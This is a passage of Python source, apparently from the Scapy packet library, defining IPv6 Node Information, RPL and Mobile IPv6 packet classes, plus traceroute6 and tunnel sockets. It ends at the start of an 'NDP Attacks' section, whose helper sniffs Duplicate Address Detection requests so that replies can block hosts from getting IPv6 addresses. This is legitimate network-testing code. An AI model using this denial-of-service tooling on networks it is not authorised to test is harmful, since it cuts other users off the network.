qtype = getattr(pkt, "qtype") if qtype == 0: # NOOP return s, (0, b"") else: code = getattr(pkt, "code") if code == 0: # IPv6 Addr return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16])) elif code == 2: # IPv4 Addr return s[4:], (2, inet_ntop(socket.AF_INET, s[:4])) else: # Name or Unknown return b"", (1, s) def addfield(self, pkt, s, val): if ((isinstance(val, tuple) and val[1] is None) or val is None): val = (1, b"") t = val[0] if t == 1: return s + val[1] elif t == 0: return s + inet_pton(socket.AF_INET6, val[1]) else: return s + inet_pton(socket.AF_INET, val[1]) class NIQueryCodeField(ByteEnumField): def i2m(self, pkt, x): if x is None: d = pkt.getfieldval("data") if d is None: return 1 elif d[0] == 0: # IPv6 address return 0 elif d[0] == 1: # Name return 1 elif d[0] == 2: # IPv4 address return 2 else: return 1 return x _niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"} # _niquery_flags = { 2: "All unicast addresses", 4: "IPv4 addresses", # 8: "Link-local addresses", 16: "Site-local addresses", # 32: "Global addresses" } # "This NI type has no defined flags and never has a Data Field". Used # to know if the destination is up and implements NI protocol. class ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6): name = "ICMPv6 Node Information Query - NOOP Query" fields_desc = [ByteEnumField("type", 139, icmp6types), NIQueryCodeField("code", None, _niquery_code), XShortField("cksum", None), ShortEnumField("qtype", 0, icmp6_niqtypes), BitField("unused", 0, 10), FlagsField("flags", 0, 6, "TACLSG"), NonceField("nonce", None), NIQueryDataField("data", None)] class ICMPv6NIQueryName(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv6 Name Query" qtype = 2 # We ask for the IPv6 address of the peer class ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv6 Address Query" qtype = 3 flags = 0x3E class ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv4 Address Query" qtype = 4 _nireply_code = {0: "Successful Reply", 1: "Response Refusal", 3: "Unknown query type"} _nireply_flags = {1: "Reply set incomplete", 2: "All unicast addresses", 4: "IPv4 addresses", 8: "Link-local addresses", 16: "Site-local addresses", 32: "Global addresses"} # Internal repr is one of those : # (0, "some string") : unknown qtype value are mapped to that one # (3, [ (ttl, ip6), ... ]) # (4, [ (ttl, ip4), ... ]) # (2, [ttl, dns_names]) : dns_names is one string that contains # all the DNS names. Internally it is kept ready to be sent # (undissected). i2repr() decode it for user. This is to # make build after dissection bijective. # # I also merged getfield() and m2i(), and addfield() and i2m(). class NIReplyDataField(StrField): def i2h(self, pkt, x): if x is None: return x t, val = x if t == 2: ttl, dnsnames = val val = [ttl] + dnsrepr2names(dnsnames) return val def h2i(self, pkt, x): qtype = 0 # We will decode it as string if not # overridden through 'qtype' in pkt # No user hint, let's use 'qtype' value for that purpose if not isinstance(x, tuple): if pkt is not None: qtype = pkt.qtype else: qtype = x[0] x = x[1] # From that point on, x is the value (second element of the tuple) if qtype == 2: # DNS name if isinstance(x, (str, bytes)): # listify the string x = [x] if isinstance(x, list): x = [val.encode() if isinstance(val, str) else val for val in x] # noqa: E501 if x and isinstance(x[0], int): ttl = x[0] names = x[1:] else: ttl = 0 names = x return (2, [ttl, names2dnsrepr(names)]) elif qtype in [3, 4]: # IPv4 or IPv6 addr if not isinstance(x, list): x = [x] # User directly provided an IP, instead of list def fixvalue(x): # List elements are not tuples, user probably # omitted ttl value : we will use 0 instead if not isinstance(x, tuple): x = (0, x) # Decode bytes if isinstance(x[1], bytes): x = (x[0], x[1].decode()) return x return (qtype, [fixvalue(d) for d in x]) return (qtype, x) def addfield(self, pkt, s, val): t, tmp = val if tmp is None: tmp = b"" if t == 2: ttl, dnsstr = tmp return s + struct.pack("!I", ttl) + dnsstr elif t == 3: return s + b"".join(map(lambda x_y1: struct.pack("!I", x_y1[0]) + inet_pton(socket.AF_INET6, x_y1[1]), tmp)) # noqa: E501 elif t == 4: return s + b"".join(map(lambda x_y2: struct.pack("!I", x_y2[0]) + inet_pton(socket.AF_INET, x_y2[1]), tmp)) # noqa: E501 else: return s + tmp def getfield(self, pkt, s): code = getattr(pkt, "code") if code != 0: return s, (0, b"") qtype = getattr(pkt, "qtype") if qtype == 0: # NOOP return s, (0, b"") elif qtype == 2: if len(s) < 4: return s, (0, b"") ttl = struct.unpack("!I", s[:4])[0] return b"", (2, [ttl, s[4:]]) elif qtype == 3: # IPv6 addresses with TTLs # XXX TODO : get the real length res = [] while len(s) >= 20: # 4 + 16 ttl = struct.unpack("!I", s[:4])[0] ip = inet_ntop(socket.AF_INET6, s[4:20]) res.append((ttl, ip)) s = s[20:] return s, (3, res) elif qtype == 4: # IPv4 addresses with TTLs # XXX TODO : get the real length res = [] while len(s) >= 8: # 4 + 4 ttl = struct.unpack("!I", s[:4])[0] ip = inet_ntop(socket.AF_INET, s[4:8]) res.append((ttl, ip)) s = s[8:] return s, (4, res) else: # XXX TODO : implement me and deal with real length return b"", (0, s) def i2repr(self, pkt, x): if x is None: return "[]" if isinstance(x, tuple) and len(x) == 2: t, val = x if t == 2: # DNS names ttl, tmp_len = val tmp_len = dnsrepr2names(tmp_len) names_list = (plain_str(name) for name in tmp_len) return "ttl:%d %s" % (ttl, ",".join(names_list)) elif t == 3 or t == 4: return "[ %s ]" % (", ".join(map(lambda x_y: "(%d, %s)" % (x_y[0], x_y[1]), val))) # noqa: E501 return repr(val) return repr(x) # XXX should not happen # By default, sent responses have code set to 0 (successful) class ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6): name = "ICMPv6 Node Information Reply - NOOP Reply" fields_desc = [ByteEnumField("type", 140, icmp6types), ByteEnumField("code", 0, _nireply_code), XShortField("cksum", None), ShortEnumField("qtype", 0, icmp6_niqtypes), BitField("unused", 0, 10), FlagsField("flags", 0, 6, "TACLSG"), NonceField("nonce", None), NIReplyDataField("data", None)] class ICMPv6NIReplyName(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Node Names" qtype = 2 class ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - IPv6 addresses" qtype = 3 class ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - IPv4 addresses" qtype = 4 class ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Responder refuses to supply answer" code = 1 class ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Qtype unknown to the responder" code = 2 def _niquery_guesser(p): cls = conf.raw_layer type = orb(p[0]) if type == 139: # Node Info Query specific stuff if len(p) > 6: qtype, = struct.unpack("!H", p[4:6]) cls = {0: ICMPv6NIQueryNOOP, 2: ICMPv6NIQueryName, 3: ICMPv6NIQueryIPv6, 4: ICMPv6NIQueryIPv4}.get(qtype, conf.raw_layer) elif type == 140: # Node Info Reply specific stuff code = orb(p[1]) if code == 0: if len(p) > 6: qtype, = struct.unpack("!H", p[4:6]) cls = {2: ICMPv6NIReplyName, 3: ICMPv6NIReplyIPv6, 4: ICMPv6NIReplyIPv4}.get(qtype, ICMPv6NIReplyNOOP) elif code == 1: cls = ICMPv6NIReplyRefuse elif code == 2: cls = ICMPv6NIReplyUnknown return cls ############################################################################# ############################################################################# # Routing Protocol for Low Power and Lossy Networks RPL (RFC 6550) # ############################################################################# ############################################################################# # https://www.iana.org/assignments/rpl/rpl.xhtml#control-codes rplcodes = {0: "DIS", 1: "DIO", 2: "DAO", 3: "DAO-ACK", # 4: "P2P-DRO", # 5: "P2P-DRO-ACK", # 6: "Measurement", 7: "DCO", 8: "DCO-ACK"} class ICMPv6RPL(_ICMPv6): # RFC 6550 name = 'RPL' fields_desc = [ByteEnumField("type", 155, icmp6types), ByteEnumField("code", 0, rplcodes), XShortField("cksum", None)] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1a"}} ############################################################################# ############################################################################# # Mobile IPv6 (RFC 3775) and Nemo (RFC 3963) # ############################################################################# ############################################################################# # Mobile IPv6 ICMPv6 related classes class ICMPv6HAADRequest(_ICMPv6): name = 'ICMPv6 Home Agent Address Discovery Request' fields_desc = [ByteEnumField("type", 144, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("R", 1, 1, {1: 'MR'}), XBitField("res", 0, 15)] def hashret(self): return struct.pack("!H", self.id) + self.payload.hashret() class ICMPv6HAADReply(_ICMPv6): name = 'ICMPv6 Home Agent Address Discovery Reply' fields_desc = [ByteEnumField("type", 145, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("R", 1, 1, {1: 'MR'}), XBitField("res", 0, 15), IP6ListField('addresses', None)] def hashret(self): return struct.pack("!H", self.id) + self.payload.hashret() def answers(self, other): if not isinstance(other, ICMPv6HAADRequest): return 0 return self.id == other.id class ICMPv6MPSol(_ICMPv6): name = 'ICMPv6 Mobile Prefix Solicitation' fields_desc = [ByteEnumField("type", 146, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), XShortField("res", 0)] def _hashret(self): return struct.pack("!H", self.id) class ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6): name = 'ICMPv6 Mobile Prefix Advertisement' fields_desc = [ByteEnumField("type", 147, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("flags", 2, 2, {2: 'M', 1: 'O'}), XBitField("res", 0, 14)] def hashret(self): return struct.pack("!H", self.id) def answers(self, other): return isinstance(other, ICMPv6MPSol) # Mobile IPv6 Options classes _mobopttypes = {2: "Binding Refresh Advice", 3: "Alternate Care-of Address", 4: "Nonce Indices", 5: "Binding Authorization Data", 6: "Mobile Network Prefix (RFC3963)", 7: "Link-Layer Address (RFC4068)", 8: "Mobile Node Identifier (RFC4283)", 9: "Mobility Message Authentication (RFC4285)", 10: "Replay Protection (RFC4285)", 11: "CGA Parameters Request (RFC4866)", 12: "CGA Parameters (RFC4866)", 13: "Signature (RFC4866)", 14: "Home Keygen Token (RFC4866)", 15: "Care-of Test Init (RFC4866)", 16: "Care-of Test (RFC4866)"} class _MIP6OptAlign(Packet): """ Mobile IPv6 options have alignment requirements of the form x*n+y. This class is inherited by all MIPv6 options to help in computing the required Padding for that option, i.e. the need for a Pad1 or PadN option before it. They only need to provide x and y as class parameters. (x=0 and y=0 are used when no alignment is required)""" __slots__ = ["x", "y"] def alignment_delta(self, curpos): x = self.x y = self.y if x == 0 and y == 0: return 0 delta = x * ((curpos - y + x - 1) // x) + y - curpos return delta def extract_padding(self, p): return b"", p class MIP6OptBRAdvice(_MIP6OptAlign): name = 'Mobile IPv6 Option - Binding Refresh Advice' fields_desc = [ByteEnumField('otype', 2, _mobopttypes), ByteField('olen', 2), ShortField('rinter', 0)] x = 2 y = 0 # alignment requirement: 2n class MIP6OptAltCoA(_MIP6OptAlign): name = 'MIPv6 Option - Alternate Care-of Address' fields_desc = [ByteEnumField('otype', 3, _mobopttypes), ByteField('olen', 16), IP6Field("acoa", "::")] x = 8 y = 6 # alignment requirement: 8n+6 class MIP6OptNonceIndices(_MIP6OptAlign): name = 'MIPv6 Option - Nonce Indices' fields_desc = [ByteEnumField('otype', 4, _mobopttypes), ByteField('olen', 16), ShortField('hni', 0), ShortField('coni', 0)] x = 2 y = 0 # alignment requirement: 2n class MIP6OptBindingAuthData(_MIP6OptAlign): name = 'MIPv6 Option - Binding Authorization Data' fields_desc = [ByteEnumField('otype', 5, _mobopttypes), ByteField('olen', 16), BitField('authenticator', 0, 96)] x = 8 y = 2 # alignment requirement: 8n+2 class MIP6OptMobNetPrefix(_MIP6OptAlign): # NEMO - RFC 3963 name = 'NEMO Option - Mobile Network Prefix' fields_desc = [ByteEnumField("otype", 6, _mobopttypes), ByteField("olen", 18), ByteField("reserved", 0), ByteField("plen", 64), IP6Field("prefix", "::")] x = 8 y = 4 # alignment requirement: 8n+4 class MIP6OptLLAddr(_MIP6OptAlign): # Sect 6.4.4 of RFC 4068 name = "MIPv6 Option - Link-Layer Address (MH-LLA)" fields_desc = [ByteEnumField("otype", 7, _mobopttypes), ByteField("olen", 7), ByteEnumField("ocode", 2, _rfc4068_lla_optcode), ByteField("pad", 0), MACField("lla", ETHER_ANY)] # Only support ethernet x = 0 y = 0 # alignment requirement: none class MIP6OptMNID(_MIP6OptAlign): # RFC 4283 name = "MIPv6 Option - Mobile Node Identifier" fields_desc = [ByteEnumField("otype", 8, _mobopttypes), FieldLenField("olen", None, length_of="id", fmt="B", adjust=lambda pkt, x: x + 1), ByteEnumField("subtype", 1, {1: "NAI"}), StrLenField("id", "", length_from=lambda pkt: pkt.olen - 1)] x = 0 y = 0 # alignment requirement: none # We only support decoding and basic build. Automatic HMAC computation is # too much work for our current needs. It is left to the user (I mean ... # you). --arno class MIP6OptMsgAuth(_MIP6OptAlign): # RFC 4285 (Sect. 5) name = "MIPv6 Option - Mobility Message Authentication" fields_desc = [ByteEnumField("otype", 9, _mobopttypes), FieldLenField("olen", None, length_of="authdata", fmt="B", adjust=lambda pkt, x: x + 5), ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option", # noqa: E501 2: "MN-AAA authentication mobility option"}), # noqa: E501 IntField("mspi", None), StrLenField("authdata", "A" * 12, length_from=lambda pkt: pkt.olen - 5)] x = 4 y = 1 # alignment requirement: 4n+1 # Extracted from RFC 1305 (NTP) : # NTP timestamps are represented as a 64-bit unsigned fixed-point number, # in seconds relative to 0h on 1 January 1900. The integer part is in the # first 32 bits and the fraction part in the last 32 bits. class NTPTimestampField(LongField): def i2repr(self, pkt, x): if x < ((50 * 31536000) << 32): return "Some date a few decades ago (%d)" % x # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to # January 1st 1970 : delta = -2209075761 i = int(x >> 32) j = float(x & 0xffffffff) * 2.0**-32 res = i + j + delta t = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime(res)) return "%s (%d)" % (t, x) class MIP6OptReplayProtection(_MIP6OptAlign): # RFC 4285 (Sect. 6) name = "MIPv6 option - Replay Protection" fields_desc = [ByteEnumField("otype", 10, _mobopttypes), ByteField("olen", 8), NTPTimestampField("timestamp", 0)] x = 8 y = 2 # alignment requirement: 8n+2 class MIP6OptCGAParamsReq(_MIP6OptAlign): # RFC 4866 (Sect. 5.6) name = "MIPv6 option - CGA Parameters Request" fields_desc = [ByteEnumField("otype", 11, _mobopttypes), ByteField("olen", 0)] x = 0 y = 0 # alignment requirement: none # XXX TODO: deal with CGA param fragmentation and build of defragmented # XXX version. Passing of a big CGAParam structure should be # XXX simplified. Make it hold packets, by the way --arno class MIP6OptCGAParams(_MIP6OptAlign): # RFC 4866 (Sect. 5.1) name = "MIPv6 option - CGA Parameters" fields_desc = [ByteEnumField("otype", 12, _mobopttypes), FieldLenField("olen", None, length_of="cgaparams", fmt="B"), StrLenField("cgaparams", "", length_from=lambda pkt: pkt.olen)] x = 0 y = 0 # alignment requirement: none class MIP6OptSignature(_MIP6OptAlign): # RFC 4866 (Sect. 5.2) name = "MIPv6 option - Signature" fields_desc = [ByteEnumField("otype", 13, _mobopttypes), FieldLenField("olen", None, length_of="sig", fmt="B"), StrLenField("sig", "", length_from=lambda pkt: pkt.olen)] x = 0 y = 0 # alignment requirement: none class MIP6OptHomeKeygenToken(_MIP6OptAlign): # RFC 4866 (Sect. 5.3) name = "MIPv6 option - Home Keygen Token" fields_desc = [ByteEnumField("otype", 14, _mobopttypes), FieldLenField("olen", None, length_of="hkt", fmt="B"), StrLenField("hkt", "", length_from=lambda pkt: pkt.olen)] x = 0 y = 0 # alignment requirement: none class MIP6OptCareOfTestInit(_MIP6OptAlign): # RFC 4866 (Sect. 5.4) name = "MIPv6 option - Care-of Test Init" fields_desc = [ByteEnumField("otype", 15, _mobopttypes), ByteField("olen", 0)] x = 0 y = 0 # alignment requirement: none class MIP6OptCareOfTest(_MIP6OptAlign): # RFC 4866 (Sect. 5.5) name = "MIPv6 option - Care-of Test" fields_desc = [ByteEnumField("otype", 16, _mobopttypes), FieldLenField("olen", None, length_of="cokt", fmt="B"), StrLenField("cokt", b'\x00' * 8, length_from=lambda pkt: pkt.olen)] x = 0 y = 0 # alignment requirement: none class MIP6OptUnknown(_MIP6OptAlign): name = 'Scapy6 - Unknown Mobility Option' fields_desc = [ByteEnumField("otype", 6, _mobopttypes), FieldLenField("olen", None, length_of="odata", fmt="B"), StrLenField("odata", "", length_from=lambda pkt: pkt.olen)] x = 0 y = 0 # alignment requirement: none @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): if _pkt: o = orb(_pkt[0]) # Option type if o in moboptcls: return moboptcls[o] return cls moboptcls = {0: Pad1, 1: PadN, 2: MIP6OptBRAdvice, 3: MIP6OptAltCoA, 4: MIP6OptNonceIndices, 5: MIP6OptBindingAuthData, 6: MIP6OptMobNetPrefix, 7: MIP6OptLLAddr, 8: MIP6OptMNID, 9: MIP6OptMsgAuth, 10: MIP6OptReplayProtection, 11: MIP6OptCGAParamsReq, 12: MIP6OptCGAParams, 13: MIP6OptSignature, 14: MIP6OptHomeKeygenToken, 15: MIP6OptCareOfTestInit, 16: MIP6OptCareOfTest} # Main Mobile IPv6 Classes mhtypes = {0: 'BRR', 1: 'HoTI', 2: 'CoTI', 3: 'HoT', 4: 'CoT', 5: 'BU', 6: 'BA', 7: 'BE', 8: 'Fast BU', 9: 'Fast BA', 10: 'Fast NA'} # From http://www.iana.org/assignments/mobility-parameters bastatus = {0: 'Binding Update accepted', 1: 'Accepted but prefix discovery necessary', 128: 'Reason unspecified', 129: 'Administratively prohibited', 130: 'Insufficient resources', 131: 'Home registration not supported', 132: 'Not home subnet', 133: 'Not home agent for this mobile node', 134: 'Duplicate Address Detection failed', 135: 'Sequence number out of window', 136: 'Expired home nonce index', 137: 'Expired care-of nonce index', 138: 'Expired nonces', 139: 'Registration type change disallowed', 140: 'Mobile Router Operation not permitted', 141: 'Invalid Prefix', 142: 'Not Authorized for Prefix', 143: 'Forwarding Setup failed (prefixes missing)', 144: 'MIPV6-ID-MISMATCH', 145: 'MIPV6-MESG-ID-REQD', 146: 'MIPV6-AUTH-FAIL', 147: 'Permanent home keygen token unavailable', 148: 'CGA and signature verification failed', 149: 'Permanent home keygen token exists', 150: 'Non-null home nonce index expected'} class _MobilityHeader(Packet): name = 'Dummy IPv6 Mobility Header' overload_fields = {IPv6: {"nh": 135}} def post_build(self, p, pay): p += pay tmp_len = self.len if self.len is None: tmp_len = (len(p) - 8) // 8 p = p[:1] + struct.pack("B", tmp_len) + p[2:] if self.cksum is None: cksum = in6_chksum(135, self.underlayer, p) else: cksum = self.cksum p = p[:4] + struct.pack("!H", cksum) + p[6:] return p class MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg name = "IPv6 Mobility Header - Generic Message" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", None, mhtypes), ByteField("res", None), XShortField("cksum", None), StrLenField("msg", b"\x00" * 2, length_from=lambda pkt: 8 * pkt.len - 6)] class MIP6MH_BRR(_MobilityHeader): name = "IPv6 Mobility Header - Binding Refresh Request" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 0, mhtypes), ByteField("res", None), XShortField("cksum", None), ShortField("res2", None), _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], MIP6OptUnknown, 8, length_from=lambda pkt: 8 * pkt.len)] overload_fields = {IPv6: {"nh": 135}} def hashret(self): # Hack: BRR, BU and BA have the same hashret that returns the same # value b"\x00\x08\x09" (concatenation of mhtypes). This is # because we need match BA with BU and BU with BRR. --arno return b"\x00\x08\x09" class MIP6MH_HoTI(_MobilityHeader): name = "IPv6 Mobility Header - Home Test Init" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 1, mhtypes), ByteField("res", None), XShortField("cksum", None), StrFixedLenField("reserved", b"\x00" * 2, 2), StrFixedLenField("cookie", b"\x00" * 8, 8), _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], MIP6OptUnknown, 16, length_from=lambda pkt: 8 * (pkt.len - 1))] overload_fields = {IPv6: {"nh": 135}} def hashret(self): return bytes_encode(self.cookie) class MIP6MH_CoTI(MIP6MH_HoTI): name = "IPv6 Mobility Header - Care-of Test Init" mhtype = 2 def hashret(self): return bytes_encode(self.cookie) class MIP6MH_HoT(_MobilityHeader): name = "IPv6 Mobility Header - Home Test" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 3, mhtypes), ByteField("res", None), XShortField("cksum", None), ShortField("index", None), StrFixedLenField("cookie", b"\x00" * 8, 8), StrFixedLenField("token", b"\x00" * 8, 8), _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], MIP6OptUnknown, 24, length_from=lambda pkt: 8 * (pkt.len - 2))] overload_fields = {IPv6: {"nh": 135}} def hashret(self): return bytes_encode(self.cookie) def answers(self, other): if (isinstance(other, MIP6MH_HoTI) and self.cookie == other.cookie): return 1 return 0 class MIP6MH_CoT(MIP6MH_HoT): name = "IPv6 Mobility Header - Care-of Test" mhtype = 4 def hashret(self): return bytes_encode(self.cookie) def answers(self, other): if (isinstance(other, MIP6MH_CoTI) and self.cookie == other.cookie): return 1 return 0 class LifetimeField(ShortField): def i2repr(self, pkt, x): return "%d sec" % (4 * x) class MIP6MH_BU(_MobilityHeader): name = "IPv6 Mobility Header - Binding Update" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501 ByteEnumField("mhtype", 5, mhtypes), ByteField("res", None), XShortField("cksum", None), XShortField("seq", None), # TODO: ShortNonceField FlagsField("flags", "KHA", 7, "PRMKLHA"), XBitField("reserved", 0, 9), LifetimeField("mhtime", 3), # unit == 4 seconds _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], MIP6OptUnknown, 12, length_from=lambda pkt: 8 * pkt.len - 4)] overload_fields = {IPv6: {"nh": 135}} def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() return b"\x00\x08\x09" def answers(self, other): if isinstance(other, MIP6MH_BRR): return 1 return 0 class MIP6MH_BA(_MobilityHeader): name = "IPv6 Mobility Header - Binding ACK" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501 ByteEnumField("mhtype", 6, mhtypes), ByteField("res", None), XShortField("cksum", None), ByteEnumField("status", 0, bastatus), FlagsField("flags", "K", 3, "PRK"), XBitField("res2", None, 5), XShortField("seq", None), # TODO: ShortNonceField XShortField("mhtime", 0), # unit == 4 seconds _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], MIP6OptUnknown, 12, length_from=lambda pkt: 8 * pkt.len - 4)] overload_fields = {IPv6: {"nh": 135}} def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() return b"\x00\x08\x09" def answers(self, other): if (isinstance(other, MIP6MH_BU) and other.mhtype == 5 and self.mhtype == 6 and other.flags & 0x1 and # Ack request flags is set self.seq == other.seq): return 1 return 0 _bestatus = {1: 'Unknown binding for Home Address destination option', 2: 'Unrecognized MH Type value'} # TODO: match Binding Error to its stimulus class MIP6MH_BE(_MobilityHeader): name = "IPv6 Mobility Header - Binding Error" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501 ByteEnumField("mhtype", 7, mhtypes), ByteField("res", 0), XShortField("cksum", None), ByteEnumField("status", 0, _bestatus), ByteField("reserved", 0), IP6Field("ha", "::"), _OptionsField("options", [], MIP6OptUnknown, 24, length_from=lambda pkt: 8 * (pkt.len - 2))] overload_fields = {IPv6: {"nh": 135}} _mip6_mhtype2cls = {0: MIP6MH_BRR, 1: MIP6MH_HoTI, 2: MIP6MH_CoTI, 3: MIP6MH_HoT, 4: MIP6MH_CoT, 5: MIP6MH_BU, 6: MIP6MH_BA, 7: MIP6MH_BE} ############################################################################# ############################################################################# # Traceroute6 # ############################################################################# ############################################################################# class AS_resolver6(AS_resolver_riswhois): def _resolve_one(self, ip): """ overloaded version to provide a Whois resolution on the embedded IPv4 address if the address is 6to4 or Teredo. Otherwise, the native IPv6 address is passed. """ if in6_isaddr6to4(ip): # for 6to4, use embedded @ tmp = inet_pton(socket.AF_INET6, ip) addr = inet_ntop(socket.AF_INET, tmp[2:6]) elif in6_isaddrTeredo(ip): # for Teredo, use mapped address addr = teredoAddrExtractInfo(ip)[2] else: addr = ip _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr) if asn.startswith("AS"): try: asn = int(asn[2:]) except ValueError: pass return ip, asn, desc class TracerouteResult6(TracerouteResult): __slots__ = [] def show(self): return self.make_table(lambda s, r: (s.sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 ! # noqa: E501 s.hlim, r.sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}" + # noqa: E501 "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}" + # noqa: E501 "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}" + # noqa: E501 "{ICMPv6EchoReply:%ir,type%}"))) # noqa: E501 def get_trace(self): trace = {} for s, r in self.res: if IPv6 not in s: continue d = s[IPv6].dst if d not in trace: trace[d] = {} t = not (ICMPv6TimeExceeded in r or ICMPv6DestUnreach in r or ICMPv6PacketTooBig in r or ICMPv6ParamProblem in r) trace[d][s[IPv6].hlim] = r[IPv6].src, t for k in trace.values(): try: m = min(x for x, y in k.items() if y[1]) except ValueError: continue for li in list(k): # use list(): k is modified in the loop if li > m: del k[li] return trace def graph(self, ASres=AS_resolver6(), **kargs): TracerouteResult.graph(self, ASres=ASres, **kargs) @conf.commands.register def traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4=None, timeout=2, verbose=None, **kargs): """Instant TCP traceroute using IPv6 traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None """ if verbose is None: verbose = conf.verb if l4 is None: a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / TCP(seq=RandInt(), sport=sport, dport=dport), # noqa: E501 timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs) # noqa: E501 else: a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / l4, timeout=timeout, verbose=verbose, **kargs) a = TracerouteResult6(a.res) if verbose: a.show() return a, b ############################################################################# ############################################################################# # Sockets # ############################################################################# ############################################################################# if not WINDOWS: from scapy.supersocket import L3RawSocket class L3RawSocket6(L3RawSocket): def __init__(self, type=ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0): # noqa: E501 # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) # noqa: E501 self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # noqa: E501 self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501 self.iface = iface def IPv6inIP(dst='203.178.135.36', src=None): _IPv6inIP.dst = dst _IPv6inIP.src = src if not conf.L3socket == _IPv6inIP: _IPv6inIP.cls = conf.L3socket else: del conf.L3socket return _IPv6inIP class _IPv6inIP(SuperSocket): dst = '127.0.0.1' src = None cls = None def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args): # noqa: E501 SuperSocket.__init__(self, family, type, proto) self.worker = self.cls(**args) def set(self, dst, src=None): _IPv6inIP.src = src _IPv6inIP.dst = dst def nonblock_recv(self): p = self.worker.nonblock_recv() return self._recv(p) def recv(self, x): p = self.worker.recv(x) return self._recv(p, x) def _recv(self, p, x=MTU): if p is None: return p elif isinstance(p, IP): # TODO: verify checksum if p.src == self.dst and p.proto == socket.IPPROTO_IPV6: if isinstance(p.payload, IPv6): return p.payload return p def send(self, x): return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6) / x) # noqa: E501 ############################################################################# ############################################################################# # Neighbor Discovery Protocol Attacks # ############################################################################# ############################################################################# def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Internal generic helper accepting a specific callback as first argument, for NS or NA reply. See the two specific functions below. """ def is_request(req, mac_src_filter, tgt_filter): """ Check if packet req is a request """ # Those simple checks are based on Section 5.4.2 of RFC 4862 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): return 0 # Get and compare the MAC address mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 # Source must be the unspecified address if req[IPv6].src != "::": return 0 # Check destination is the link-local solicited-node multicast # address associated with target address in received NS tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) if tgt_filter and tgt != tgt_filter: return 0 received_snma = inet_pton(socket.AF_INET6, req[IPv6].dst) expected_snma = in6_getnsma(tgt) if received_snma != expected_snma: return 0 return 1 if not iface: iface = conf.iface # To prevent sniffing our own traffic if not reply_mac: reply_mac = get_if_hwaddr(iface) sniff_filter = "icmp6 and not ether src %s" % reply_mac sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), prn=lambda x: reply_callback(x, reply_mac, iface), iface=iface) def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, 